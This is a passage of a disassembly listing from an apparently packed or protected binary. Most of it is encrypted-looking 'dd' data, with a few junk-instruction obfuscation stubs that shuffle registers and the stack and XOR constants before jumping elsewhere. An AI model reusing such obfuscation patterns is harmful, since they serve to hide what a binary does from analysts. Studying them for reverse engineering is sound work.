0EF290F2Ch, 0F1D29FBCh, 39250343h dd 54328B13h, 0EAAC5A7Bh, 0F416C91Ah, 0B81A4584h, 0CEFB351Bh dd 0D402648Fh, 70ADD210h, 0E7491341h, 77AAE4CAh, 184B8549h dd 0C705DFEAh, 0DD19FF9Ch, 577280AEh, 1AC68836h, 3C816C9h dd 0B1AE6B5Fh, 620567C8h, 0C950F2B4h, 0E986FC16h, 0A9E3C1B4h dd 34735976h, 0C706EC09h, 0FE3C65A2h, 79DBA5D3h, 194C874Bh dd 632755B7h, 9AC70122h, 37012F5Eh, 0EE9CA7D5h, 16C950A8h dd 0FC5EC036h, 9DD00ACEh, 0FF6FAB6Fh, 0C9500D51h, 0B91B9116h dd 4530A78Bh, 0F66DD59h, 0E2B5695h, 8DBBEE28h, 0C950CCF5h dd 32536A16h, 0C950C284h, 0FA56CC16h, 0BFF491BCh, 9D2BF5B6h dd 514540CFh, 0C000000h, 29C6F532h, 5588C2FBh, 21B583B2h dd 981EF408h, 0E9AB43FBh, 2116C9C0h, 68387302h, 8840CF0Dh dd 1, 5786C24Eh, 0FA296529h, 0ACE7C1CCh, 0B214437Fh, 371DBA84h dd 8D9BC9FCh, 5D990B6Ah, 0B5E4112Eh, 21703BD9h, 0D8BE5BF6h dd 204E6B9Eh, 0E10A84C2h, 0B7D340ACh, 753967C9h, 0ECDC0A39h dd 9B75E88Dh, 95D6325Dh, 0D976406Eh, 5390B5F3h, 0BFA5C224h dd 0D5AF5285h, 0D50F6B96h, 0DAA74A2h, 25549155h, 0EE8728F7h dd 0CFA503BDh, 781D40h, 0C2E30000h, 672B5984h, 0BFCDFB2Ah dd 8DCBD99Ch, 0D0FE2968h, 5A87A406h, 76134680h, 0F9275290h dd 99C7FA35h, 1A5731CAh, 46DF3AEBh, 125A6A6Eh, 76354075h dd 40CF08BAh, 0BC839BCAh, 5E67BE02h, 0F996C502h, 68D8h dd 5A7B9E00h, 0C91AEAACh, 0E17EF416h, 6492BDFBh, 83661A0h dd 29344190h, 3FD10EFAh, 0EAB07F1h, 86C5EA28h, 0C0632D5Bh dd 0C94B4C12h, 7ADC5216h, 86C22F5Dh, 0B0912957h, 0D216C91Ah dd 75396796h, 0E9D9073Ah, 8BB3EB8Ah, 2C5F9A74h, 1A9BDB89h dd 0AD2316C9h, 119ADB10h, 40CFD74Fh, 861h, 0F4E2800h, 4FECB6E4h dd 5685C221h, 0F72A6428h, 76EE5C9h, 0FB37609Dh, 144D6ACCh dd 0E81352BCh, 0C0224D8Ch, 0F5F26F1Dh, 9E141C31h, 3F72AC70h dd 0CF023C22h, 195D0B2Ch, 0A513203Fh, 42DA922Fh, 13203F7Eh dd 0ACF87DCCh, 3C223F72h, 0DDA1CF02h, 524270A3h, 0E82282F3h dd 17B998B5h, 94526F2h, 13Ch, 8EB5F6D0h, 176FC3F1h, 0FD5604A7h dd 291C3209h, 87C185B3h, 17513754h, 0B8F2B6E4h, 52935785h dd 0E1E4FD2Bh, 0B02A34D7h, 22518EEAh, 0D0A504F4h, 76998D4h dd 4F55207Fh, 872A9315h, 0EAE82C99h, 0C022518Eh, 5B9C76A3h dd 5E0145F3h, 178D1320h, 973918B5h, 89452693h, 5Bh, 0A6186F4Fh dd 19C15503h, 964D16C9h, 0C91AA6E8h, 50B22816h, 1AC48A22h dd 1CB916C9h, 0EEA1F859h, 0C91A7E40h, 0A80A8016h, 19C75705h dd 0CDFC16C9h, 4B8F98B8h, 0BB32A226h, 997D21D2h, 52B4E721h dd 405DD3B5h, 0CDFC3913h, 925230h, 0B9930000h, 469A4B7Eh dd 0B45EC78Bh, 6F315FFCh, 5604A717h, 1C321E55h, 793D6BE1h dd 9EF0C3Fh, 0D8F99CCFh, 0CEC17FA9h, 0A7D7E0A1h, 132025E7h dd 25A8EE9Ch, 0C0361320h, 9D55F268h, 2025FE05h, 383D8C13h dd 0E2FF326Ch, 3EE151A9h, 0D0349490h, 39E79E19h, 16D01A75h dd 0FEA10379h, 9021BDCFh, 0DD7A1DC2h, 0F4276125h, 0A6BE2C6h dd 0DC7FEF47h, 20D0322Eh, 0F973381Ch, 1EB54C7Ch, 3B6885E7h dd 0CBF92061h, 8D4C12C0h, 0DC521320h, 0B5E01E7Ah, 0F220BD87h dd 4A7176Fh, 9FCA09E3h, 0B5C4802h, 70E61C39h, 87B6F3CDh dd 25C2ED2Bh, 3C6FA96Dh, 0CCFF391Fh, 681E069Eh, 0B3D6CBD6h dd 7BA8E2C2h, 8EAB0D40h, 0D3B6EA8h, 0ADDB0E49h, 812352C9h dd 11F71447h, 6B76A4D7h, 77285391h, 7C0BC630h, 0A3811E8Ah dd 0Ah, 62A17BE3h, 0A23F0937h, 82C22D9Bh, 2F692D5Bh, 0CB0ACEFCh dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h dd 0A4E0A4D2h, 68864775h, 69B4h, 57240489h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0D5682404h, 89000072h, 16B8242Ch dd 255E8942h, 1DFE1986h, 5600F625h, 0FFFF0538h, 0D8F7FFFFh dd 0FC0182Dh, 5C4068E2h, 24890000h, 24048324h, 89565D04h dd 2C8156C6h, 616F9A24h, 8458F0Fh, 9A084581h, 5E0F616Fh dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 48B5C24h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 3B41E95Ch dd 0B02EFFF9h, 363CF504h, 0E03115F1h, 23319673h, 0F04426B8h dd 0FFC50305h, 0C0D17FE0h, 9FE6B061h, 40064F54h, 0C8B2740Eh dd 0B48B9E74h, 90520149h, 9234A81Dh, 85BD8C15h, 0C1257845h dd 0EC3D9C48h, 0C98B066Eh, 0F0C74C22h, 9E6AF768h, 0E4CF7162h dd 16D63A59h, 0F6B4131Dh, 0F79D0F1Fh, 367F7920h, 805A5E7Ah dd 0DFC6552Eh, 0B5C9D159h, 70EAE66Ah, 4604EB50h, 0E912D151h dd 50Ah, 0F2C5393h, 0A1BEED29h, 324F7EBBh, 0C1DE114Ch dd 55729DDBh, 0EB299151h, 7CBDA3C0h, 13523855h, 0ABE5CBE8h dd 0AD8E5B78h, 395FBFFFh, 8E63F13h, 1D5B88C2h, 98FAC4F2h dd 3D68A66Ah, 0CD003A20h, 6EA1DB9Fh, 84B7F1CBh, 37EF8C56h dd 0DA083773h, 0D8CCA9CCh, 9741C9Eh, 18377AD9h, 7AE413B6h dd 0E360CBC3h, 0E8CE7512h, 34617EA9h, 816B2A05h, 66033165h dd 0E8164180h, 19BCE324h, 19044AF8h, 4A8616C9h, 0CB23ED1Bh dd 8EBDF955h, 0DE5539F1h, 4297C697h, 0A1F4B963h, 0E01F05A2h dd 6417D566h, 31939AF1h, 80F42E14h, 0C94C8CD2h, 0A6CD0E16h dd 0D376D84Eh, 33FDE2A4h, 1DBA0AD8h, 0BCF4CD65h, 234216C9h dd 71B75952h, 57A940CFh, 70000000h, 0FF2D5896h, 6DCFFE3Bh dd 88C2A2D0h, 0CD8F2755h, 0D116C91Ah, 72366497h, 0C0D90736h dd 5E8501C8h, 9DECFC05h, 628DCCD8h, 0E0086A34h, 29F7B4C1h dd 4740CF64h, 1, 5786C20Dh, 0FA296529h, 9ACD08CCh, 69435E6Ch dd 2D62FF2Ah, 0F1205C48h, 81B4EED4h, 84C23664h, 6AE61B0Ah dd 45A7B1C9h, 0E8175317h, 0A6BCABAh, 14315C9Ah, 93C1F42Eh dd 2E6992CFh, 0A103CDFBh, 7203A473h, 0A7D211EBh, 3312AF79h dd 40CF3E7Dh, 0F6B86687h, 0F816C9FAh, 6DC4E582h, 8A000000h dd 2B5984C2h, 0CDFB2A67h, 0CBD99CBFh, 5F45628Dh, 4C8F621h dd 0C4F396C9h, 486C0E99h, 79DD12h, 0C5FB97D0h, 3F0EC663h dd 1CD4D79Eh, 3440CFE1h, 68h, 6A2CDAFBh, 7416C930h, 0C23361FEh dd 672B5984h, 395AFD28h, 0C91ACB8Bh, 0C05DD316h, 34419008h dd 0E5104F29h, 6A50EDB7h, 9FC6072Ch, 6BF6A771h, 8D01E209h dd 0B2E0FD5Fh, 0B45786C2h, 1AA1E593h, 0B72D16C9h, 1A206614h dd 38AE16C9h, 764BE39Bh, 0C016C91Ah, 9D7D4A1h, 1B40CFD7h dd 0A6D40741h, 11E3FDCh, 0E4000000h, 3762A17Bh dd 4877B49Ah, 0E91C561Ah, 8E68D7BBh, 50852251h, 1D5E3825h dd 367359F6h, 59B1EA07h, 772546E9h, 16C91A37h, 77A441B7h dd 31F558C9h, 9538AE1Ch, 0A8C19166h, 0ED8A60E2h, 4377135h dd 94C701E7h, 848ACE66h, 11581320h, 61037E2h, 902DC98Fh dd 69431A5Bh, 7A60FD2Ch, 0AF00D40h, 0E8AE5CD0h, 0F6132055h dd 0B8E72480h, 0BB5EC08Ah, 8836A2E1h, 132055C6h, 0C2F052C8h dd 98A35BF8h, 5585C977h, 93091320h, 0A3D610F6h, 4F268575h dd 0CBE81B55h, 269824ECh, 1393C45h, 6F020000h, 5604A717h dd 1C3209FDh, 0C185B329h, 0A375487h, 228623DBh, 0A2FEBD1Eh dd 400A3863h, 5083BDA3h, 48F61722h, 1320E006h, 8F751288h dd 4F42255h, 9AD4D0A5h, 0FC1D4A67h, 20E0084Eh, 83209613h dd 262DFCA4h, 4DF445h, 6FBA0000h, 5503A618h, 16C919C1h dd 11A9D74Dh, 16C91A4Dh, 0B1DF124Dh, 9341B1EDh, 16C91AD3h dd 0D50365DBh, 78A6D511h, 90E508AEh, 46A8D714h, 1C3540DDh dd 9E1C59C5h, 31E65267h, 93F55732h, 9DAC42F0h, 3CB216C9h dd 0A1411Fh, 7B810000h, 0C8EE654Ch, 0F08D34EFh, 4CEF5FB7h dd 326A9D9Eh, 8023991Ch, 23F3D451h, 0E4D05A5h, 89EBB5E3h dd 26C3EE2Dh, 3D70AA6Eh, 0CD003A20h, 0B5F8079Fh, 3B8A1320h dd 0FD306A3Ah, 0CB8B395Ah, 0D31320B5h, 0B5286E1Ch, 40B61320h dd 619A41DEh, 48F69909h, 19D0FA60h, 6F1D3E5Fh, 16D0F02Fh dd 450939AFh, 4516D0F0h, 0E1ABD908h, 0ADDC1989h, 56CCAE4Bh dd 4DE284B3h, 615DA333h, 0E0010CC4h, 0D0816C32h, 4BFC7216h dd 6D680A85h, 8C720FCCh, 0DF11F52h, 1A72DF96h, 735907AAh dd 0B71C201Ch, 6FF62441h, 5604A717h, 1C395576h, 541846BCh dd 0E4CAE71Ah, 0FAD477AAh, 305798B9h, 0E17931CEh, 81A6AF1h dd 0ACB1C4E7h, 396796D2h, 0B2ECD26Fh, 635627Fh, 52A76F56h dd 0B59B38D6h, 84A5487Bh, 183A90D6h, 0B9671E04h, 4183AF5h dd 842183F9h, 9ACD08CCh, 6411886Ch, 0E4920640h, 4183AA2h dd 62BAED28h, 876D8AECh, 0E1EC1A4Dh, 0CB92C7B2h, 2AE5F8Eh dd 7F5DFAF0h, 3, 0C233A1BFh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh dd 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h dd 864775A4h, 81E28952h, 4C2h, 4EA8300h, 8B241487h, 0EC812424h dd 4, 68243489h, 7B2h, 52241489h, 0AA02E7BAh, 1EA817Ah dd 8139FF04h, 710E70E2h, 81D2F72Eh, 6ACF8FF2h, 2EAC19Ah dd 0AABF281h, 0D6891C9Dh, 148B545Ah, 4C48124h, 68000000h dd 44C9h, 8F243489h, 34FF0842h, 0C4815A24h, 4, 5024348Bh dd 405E089h, 83000000h, 48704C0h, 0CCE95C24h, 80FFF935h dd 6BF0AAF9h, 0FCDCBD43h, 0D6047B61h, 0ABB826F4h, 305F049h dd 0C3E0FFC5h, 9774A070h, 75363935h, 9C303DEBh, 0AD572DE4h dd 0A91F0F20h, 7E519C89h, 0B12330EAh, 445ED142h, 3F7324E8h dd 0FE2EA2BAh, 5D296768h, 44376F2Eh, 0EB490D74h, 0C88E0704h dd 582E90Fh, 1410000h, 9BD7BDDAh, 2C694F6Ch, 0BFFAE0FDh dd 4B896F8Ch, 0E3FF0320h, 516E99D7h, 0E6032A6Bh, 7996C100h dd 9265993h, 0E9AD5B3Ch, 0F5133950h, 88C2BE9Ch, 25632755h dd 252886ABh, 55B781D1h, 6C9BD8B2h, 84228CFh, 42709FDBh dd 0DDE81678h, 65480EBCh, 0E05616C9h, 0F0235D43h, 93C2FEC2h dd 0AAD916F0h, 2C47550Dh, 0B9E71652h, 0D89E4CEFh, 0E616C965h dd 0D79ED370h, 466FAC86h, 4B79DB0Ah, 0BAE92581h, 3F25C28Ch dd 0CFB5D205h, 1B486590h, 0A5D30641h, 19583EDBh, 7C2A4BEEh dd 16C9653Ah, 1F5F0DC4h, 9F16C965h, 722AC729h, 18466DAEh dd 0ECB8BD34h, 7F6582ADh, 0D52CC345h, 0E418CFFh, 0A4F9BD6Bh dd 8F0516C9h, 5A67FF2Dh, 0DC16C9A4h, 2DF3B8BDh, 3740CF69h dd 53F0235Dh, 7432h, 0A17BF800h, 0A0A5EA60h, 0CA5A2A84h dd 0BF703A68h, 66152EB6h, 0A18724E3h, 0B7913467h, 1A5C0A7Ah dd 0A416C936h, 0D49ECC2Eh, 0A5E77F37h, 2916C936h, 0CD91BFEAh dd 6536648Fh, 0C9F1ADC8h, 30E0CBAAh, 3040CFFBh, 1, 5786C2F6h dd 0FA296529h, 15427D57h, 0A845A7DAh, 23B6E5F0h, 86B1EF69h dd 0D0BF8AD5h, 0DF124D33h, 0F580A3B1h, 274473AFh, 0B7D40741h dd 5F84C289h, 0BC02B024h, 4216C91Ah, 723C6ACCh, 1A5D21CFh dd 0EB6116C9h, 5B975B89h, 8BCAF732h, 6E9CFE60h, 4E561F7Eh dd 0E2C8E510h, 3C4775A8h, 7C8F2D0Dh, 0ED90690Ch, 0C9B87F3Fh dd 6C097F16h, 771A4986h, 4142948h, 0AA061866h, 0E79F3C6Fh dd 0ADFE7718h, 40CF86F3h, 500Dh, 84C2D300h, 2A672B59h dd 9CBFCDFBh, 688DCBD9h, 6D0FE29h, 63A187A4h, 71D3023Eh dd 11447F43h, 27314E3h, 0CFD5F7A9h, 480940h, 0C2CF0000h dd 246A1884h, 0AA16C91Ah, 99A4D234h, 1A84CA78h, 940A16C9h dd 0A7D211F7h, 0C3B20179h, 5B78A3E1h, 5786C22Dh, 7441E29h dd 2FE0AAD8h, 0CFA50006h, 5610AD35h, 16C9656Dh, 0E0CBAAC9h dd 40CFA830h, 130h, 85C2F600h, 2A642856h, 6EE5C9F7h, 31609D07h dd 0DDD85F8Eh, 0BEEFDC33h, 2C4D7A21h, 0B7E71652h, 16C952F7h dd 0ABE481F7h, 9240E353h, 1C31BD11h, 0DD1FF75h, 9D83A0D3h dd 6A023063h, 13207726h, 95D3ADF4h, 29E0B96Ah, 6A8C305Fh dd 80DD98CDh, 103E65A6h, 7DB0EA46h, 2E8854Fh, 927895C8h dd 33F72558h, 0A898C6F9h, 57312C49h, 83B6F11Ah, 8C298B55h dd 1C396CA6h, 265C933Dh, 15C8D45h, 25540000h, 0CD3C4CEDh dd 0D601800Bh, 0F10D434Ch, 6FC4F28Fh, 4073AD17h, 43E64812h dd 1A327422h, 46BC16C9h, 65CE7CA9h, 0C11C3209h, 1F591D4Bh dd 5785B8F2h, 0AE882B8Dh, 4D174570h, 0E92309B0h, 44F213B6h dd 13202B02h, 8465168Ch, 54DA9355h, 5F23DB78h, 0C4F225h dd 0A26694C3h, 25093766h, 4FD7C7AEh, 0E51F85F0h, 0EAB695B2h dd 6452675h, 4Dh, 0A6186FCCh, 19C15503h, 0DD4D16C9h, 6D1072A1h dd 0C642073Eh, 9431100Bh, 3A0244DCh, 4D8816C9h, 0EC28EC1Ah dd 28768FBDh, 705F217Bh, 2B4AC13Dh, 86D0A73h, 0DD80F249h dd 0C9A8BF2Fh, 5D9A7416h, 9936002Eh, 462441B7h, 9Eh, 0A7176F86h dd 14C2E304h, 16C91A52h, 8F49E65Ch, 1C321E8Ah, 24E8168Ch dd 6D9AB7EAh, 16D89E4Ch, 70E61320h, 80B3EDD3h, 306D4752h dd 5BAA6401h, 0E7132016h, 8DD17FA0h, 0C6132016h, 20165618h dd 8AE25813h, 33427714h, 61043771h, 0EE9E5F32h, 18B548C7h dd 70E03871h, 98D2ACCDh, 116D3765h, 520CA9D0h, 19D0D038h dd 967CB97Eh, 0D303A1CBh, 0B8F4CE71h, 7034EC89h, 9ECD0936h dd 72D40742h, 8CE96044h, 5AFD6DC5h, 201CDEACh, 0B361181Ch dd 13202CF3h, 802385FBh, 0A03D68A6h, 176FCBF9h, 48D504A7h dd 0E87ABF73h, 342BC5D1h, 0F85A80BAh, 0D00D7D47h, 27C48B98h dd 0EC3E4CFAh, 0C2D1C39h, 99C9F432h, 1339DCD5h, 116998D5h dd 0DBE90A4Ch, 0D7395E1Bh, 0B4E2583Ah, 73AE88A9h, 18481240h dd 1339C256h, 0B3F3A158h, 3B1339C2h, 0E0C663C5h, 705673A6h dd 0CAD50336h, 6691CFA9h, 39C27036h, 0AC087E13h, 0EAA44170h dd 14F0337Fh, 6694C3FFh, 73568A2h, 0D86171EEh, 0AB338069h dd 0CF75294Ch, 0A1E593B4h, 2D190112h, 90E51AB7h, 8BB2F3CDh dd 9BCE08EEh, 0B6DD1EF8h, 7A21BE88h, 0F12D5A94h, 2C5A8DC8h dd 709E0062h, 103E71ACh, 0E4C0B52Ch, 2D5A77AAh dd 0BAE81753h, 12BB3FF0h, 0FC77112h, 1F528C72h, 835F1h dd 7B750000h, 9A3762A1h, 82C22593h, 2F692D5Bh, 0CB0ACEFCh dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h dd 0A4E0A4D2h, 51864775h, 0C181E189h, 4, 8704E983h, 895C240Ch db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 5ACCh mov [esp], esi push edx mov edx, 2FF46630h xchg edi, edx not edi xchg edi, edx inc edx shl edx, 4 sub edx, 40A5462Ch xor edx, 0C5E41C55h mov ebx, edx pop edx push esp mov esi, [esp] add esp, 4 push ebx push edi mov edi, 6366A56h xor [esp+4], edi pop edi pop dword ptr [esi+8] xor dword ptr [esi+8], 6366A56h push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_5461C3 ; --------------------------------------------------------------------------- db 0B3h dd 0A3AB398Dh, 74519526h, 0F04F7AB8h, 0FFC50305h, 0C5CF35E0h dd 9F77CF43h, 4697D132h, 34949863h, 2BF7F663h, 0D2085368h dd 0F4B2E06Ch, 619C4516h, 0BAA44C28h, 4E17C3Dh, 7F2B061Ch dd 0EDA72C34h, 0DF3E0358h, 8C157744h, 0C0BF8160h, 0A98D9155h dd 0DA1D5142h, 0EE34B83Fh, 7EA3C263h, 0EAA09F37h, 718D8D75h dd 6A05F051h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 6119C355h, 8ED385EEh, 8D89F81Ch dd 5E92655h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0B8C35646h, 0D52C608Dh, 810F86B8h, 6, 2DB5B589h dd 85C705E9h, 5E90805h, 6784h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0A7C35141h, 5292D895h, 123D9BCDh dd 11958996h, 305E923h, 0E93201BDh, 3D85C705h, 5E916h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F598C357h, 321DB5FFh, 6A05E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 290B61C3h, 0BC595FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0B27F39C3h, 1958BD2h dd 6A05E907h, 9595FF00h, 8B05E91Eh, 270EEBC0h, 684C1124h dd 0A6BA44B6h, 95463E8Ch, 0B04EB71h, 0E951CE73h, 5C3h dd 0AFCCF333h, 415E8DC9h, 0D2EF1E5Bh, 617EB1ECh, 0F5123D7Bh dd 8BC9F1F1h, 1C5D4360h, 0B3F2D8F5h, 4B856B88h, 4D2EFB18h dd 394BDF9Fh, 0A886DF13h, 275588C2h, 0F4AB2563h, 825B5756h dd 6D9BCA07h, 0C2DF41A3h, 416FA2DCh, 0E210437Dh, 10B3E21Eh dd 18C9FC36h, 60EFD99Eh, 0C57D1AE8h, 3C48C201h, 71391111h dd 2E4775D7h, 349F770Eh, 508AE654h, 2877EF1Dh, 90AB514Dh dd 0AD4A79B6h, 6DA7FD78h, 0F8371D3Ah, 5B092ACDh, 16C9941Bh dd 0E9902DA3h, 6B99C403h, 113F66A7h, 0C39DBE2Dh, 632D5B82h dd 0C9947333h, 0D00B7B16h, 43A56F9Dh, 590471A6h, 0E412457Fh dd 58977D1Ah, 0F02A102Dh, 9488CE7Ch, 0A01616C9h, 4B78103Eh dd 0EB16C994h, 5E02A9CCh, 5240CF59h, 9Bh, 0D5003F19h, 88C20A38h dd 0ED1C2755h, 0BD8C77BDh, 8C25F1Eh, 16C98244h, 0AEE8094Ah dd 21834D7Bh, 8B14DAF3h, 0D112CBF5h, 0D9073A75h, 0A7F77EF5h dd 9615607Fh, 40CFC2CAh, 17E6h, 5D8CAD00h, 0FD7B318Ch dd 2F6F9FB8h, 0AF16C96Ch, 0A5D3023Fh, 0AEDC79DBh, 295786C2h dd 9185EF1Eh, 399153A8h, 4B7AB69Ch, 0EB1E591Dh, 8CBFF9BDh dd 2D609A5Eh, 46F4FFh, 8E16C945h, 50259C18h, 0BBE91854h dd 0C6E98FF1h, 8AB9F5AFh, 1A4D876Dh, 1AFD0FDh, 16C945BDh dd 79D1003Dh, 0C2386603h, 95320A84h, 73C9D193h, 0E31FE311h dd 379686B4h, 4F01F3Eh, 210A2942h, 27654BE8h, 0BFF9DFFCh dd 81245792h, 0C99C93D3h, 43A51B16h, 0F5300A15h, 0F85A8DC8h dd 9DC806CAh, 7BB89E3Bh, 0AE4F1E4Ch, 532CE4C7h, 814440CFh dd 0A000000h, 2B5984C2h, 0C6012A67h, 399B6593h, 0D90C470Bh dd 7CABE7ABh, 8AB8DF20h, 643A3B9Ah, 8DC9A3BEh, 0E98CC15Eh dd 35527DBBh, 0B8E6114Fh, 18297EADh, 0A7D9F520h, 0BCE9240Ah dd 0EA155481h, 2E905A88h, 0D4013C00h, 733D6B96h, 0E41FE311h dd 0BC0B83B1h, 0DD7EE5B9h, 0C65D1398h, 517340CFh, 39000000h dd 0B65984C2h, 45739EDCh, 1B26DE7Bh, 24B201ECh, 59F6D416h dd 0DB093473h, 43611463h, 8FBDDA05h, 3467A17Bh, 4675B197h dd 1A438018h, 7EBF16C9h, 701E2957h, 16C91A2Eh, 0A4DE3AB0h dd 0E85F4371h, 0CAE9118Dh, 0D75000ABh, 15040CFh, 16000000h dd 285685C2h, 54F72A64h, 74113C7Ah, 1461D8BCh, 81245390h dd 9D3A6DA7h, 0F565BDF6h, 0F53FA452h, 90471C31h, 203F9CE2h dd 0FBAC2213h, 6B1A9E2Bh, 99C729EAh, 79279BD5h, 13205935h dd 0C4E143B9h, 4371A4DEh, 0F41F5E38h, 65A0FCC6h, 99DB9532h dd 69132059h, 0F495B1Ah, 9FD9BFDCh, 407A3E6Ch, 90EFDF0Dh dd 5285BFE5h, 948A5635h, 9FA64526h, 6C000001h, 0EAAC5A7Bh dd 0F416C91Ah, 0B5E8227Eh, 1787DF18h, 96DC674h, 49B91C32h dd 4681DD0Ch, 0ED0EB113h, 202B7F3Fh, 6C097F13h, 707AA9B4h dd 9572D1FAh, 538D7310h, 7FC0E926h, 0FE602A58h, 5F997F9Ch dd 3AFE2Ch, 50AF9FCDh, 12457F25h, 0D84A16F5h, 8C664526h dd 2C000000h, 0B765186Fh, 16C91AF7h, 7C1F81F7h, 0C91958CEh dd 4270E616h, 0C91AE4AAh, 80A9E616h, 87B51742h, 275588C3h dd 0B4A9CC43h, 0C91A4006h, 76D84E16h, 3749780Dh, 0FD8316B5h dd 0B6F8A649h, 3816C921h, 85F025C2h, 0CF0975CCh, 68973A9Ch dd 8BEC8951h, 1F4CE9B5h, 0C9EBFD71h, 0FC073616h, 0AD0D4FA0h dd 3AB0922Fh, 0A7557697h, 16C990E7h, 7D4171E7h, 8116C990h dd 0E9C76E0Bh, 0CAh, 0E611502Ah, 2E729FB8h, 3E8810D9h dd 7B113FDCh, 1AEAAC5Ah, 7EF416C9h, 92622CDh, 3BD8843Ah dd 973AAA02h, 38824A68h, 8E1BCCFBh, 82AF4C94h, 320ED7D4h dd 46E95F1Ch, 0A7032E6Ch, 430D3B6Ah, 0C2E3EEA6h, 20065214h dd 49E65C13h, 0D9F62963h, 4F8CB9F3h, 0EC1BBE20h, 79AF4F9Eh dd 0CE862388h, 0B2F4A2C3h, 3C132018h, 906F29C6h, 22132018h dd 99C001DBh, 0F6AEC7FCh, 336C89BCh, 3A7C2ADBh, 0C4132018h dd 9B49EC4Eh, 19D06B5Dh, 0D205401Ah, 68E4D921h, 44E1D1BBh dd 0B3BEEC62h, 771E9CD9h, 0EA14D62Ch, 0DAA4D234h, 0EA1D573Dh dd 1461D8BCh, 0C0346F49h, 0D03C4C12h, 7ADC5216h, 0DC4CA4DDh dd 4F4D8B39h, 0DF551C20h, 176F94C2h, 0EC2A04A7h, 49F724C1h dd 1C396983h, 5708DBCh, 6C6D2ED7h, 8A5D410h, 63AC6126h dd 69372B7Bh, 0DB15D907h, 6BA58BA8h, 68720A38h, 0A0CEF276h dd 72ACF87Dh, 0C6F5223Fh, 0AD1F5DCEh, 1ECC6FE2h, 47075C58h dd 6D53F066h, 0ED20033h, 8E72A0D3h, 0C465E17h, 5DC80C8Ah dd 670A544Ch, 7B9F5B9h, 2183F947h, 0B1E41E04h, 0A9577883h dd 4707B9E5h, 0F8D673E9h, 0Ch, 534A138h, 0C4F9D2A2h, 735D2A3h dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh, 0BDEB1654h dd 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h, 4EC8386h dd 89240489h, 405E0h, 0E8830000h, 24048704h, 0E789575Ch dd 4C781h, 0EF810000h, 4, 5C243C87h, 68243C89h, 85Dh, 51240C89h dd 518FB850h, 0C18905F0h, 59CF8958h, 6C3868h, 24248900h dd 4240481h, 59000000h, 24048157h, 2DA935EDh, 5008418Fh dd 492705B8h, 66254059h, 35337910h, 0B686E01h, 0F029DF25h dd 0F21A2D6Eh, 4129DC76h, 34FF5808h, 0C4815924h, 4, 5F2434FFh dd 4C481h, 0A8E90000h, 0EBFFF928h, 0B856E10Fh, 5F056BCh dd 0E0FFC503h, 0DA41E94h, 2411B6Eh, 5A9D4F8Ch, 0B5A9BC6h dd 40A4C10Ah, 0A43E3F4h, 6A6DAF3Ah, 54AA9F38h, 17CED233h dd 3F7903F1h, 28662448h, 163E2839h, 1F611C58h, 7D40F6B7h dd 3D55AA4h, 3BF83590h, 4EAEC62Fh, 65532640h, 5A4F7A83h dd 28627A98h, 8FFE9E8h, 45AC54A5h, 500D323Ah, 0D4448EFh dd 77B3690h, 32A629C0h, 884004EBh, 0A5E9448Ah, 0F4000005h dd 8A708DB4h, 1C021F4Eh, 0AD93B0DFh, 3C223F72h, 0B2B6D3FEh dd 214C8A30h, 0B6DD1E04h, 4974B399h, 0D90C462Ch, 600EEFBCh dd 13394D1Eh dd 0C26947A0h, 91B25588h, 0C91AA3E3h, 0BAED2716h, 974FEC62h dd 0C76A95D3h, 5583AEEDh, 6147EE8Bh, 0BBC6F427h, 4876A5E1h dd 1ACF8F3Dh, 59CF16C9h, 335A9BF7h, 0B89E3B05h, 0AC6CFC7Eh dd 387154E1h, 0D39DCBFEh, 1DE10F71h, 7684B2E1h, 48822253h dd 0AACBF815h, 0C9ADBAFCh, 31CE4416h, 0C4E10C4Bh, 547FBD97h dd 0D9BF5C26h, 36416F9Ah, 11E7BA07h, 0F9962FF8h, 70B1D213h dd 7552D4FAh, 0A6087582h, 0BB321644h, 5374A3BAh, 280CE2C2h dd 0B01EEA1Dh, 0FBD2A1FFh, 1439785Eh, 446BACD9h, 0BCEA4C16h dd 14303B1h, 0D54B16C9h, 0EF41173h, 0DB73A1D4h, 16C901E6h dd 80AEE11Ch, 235180BCh, 1B83F215h, 0AA1D4F3h, 40CFCC46h dd 3F7F2D4Eh, 0BF16C915h, 618BAC49h, 51000000h, 275588C2h dd 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch, 48866040h, 8825EF1Dh dd 167h, 86C22D00h, 0FD1E2957h, 0C91A0F4Fh, 7C198F16h dd 0FD2B5A96h, 61D718F2h, 0B100B01h, 214FB1E2h, 3E266816h dd 32A816C9h, 124D33D0h, 88A3B1DFh, 3EF5B967h, 83F916C9h dd 0E0C4B1E6h, 725875A4h, 0BAE80538h, 2B5984C2h, 0DA094620h dd 0EC1B573Dh, 8DC0FABEh, 2E619B5Fh, 0E3922F00h, 0BBDC33BBh dd 0C91A490Dh, 7DD8FC16h, 1854626Dh, 0F9A74AC0h, 16C9C9B5h dd 0F126C339h, 0B7E22084h, 477AB49Ah, 0E9185519h, 37772546h dd 0B716C9C9h, 28ECA441h, 5984C2EBh, 0CB05C9F7h, 1B7A6A98h dd 44DD445Ah, 0C9374C15h, 0C9EA5B1Bh, 3CED6316h, 0CA93DEBh dd 530D9ED7h, 6D40CF22h, 69h, 1AC0534h, 0BC02DEFBh, 84C2F11Fh dd 2A672B59h, 447E58FBh, 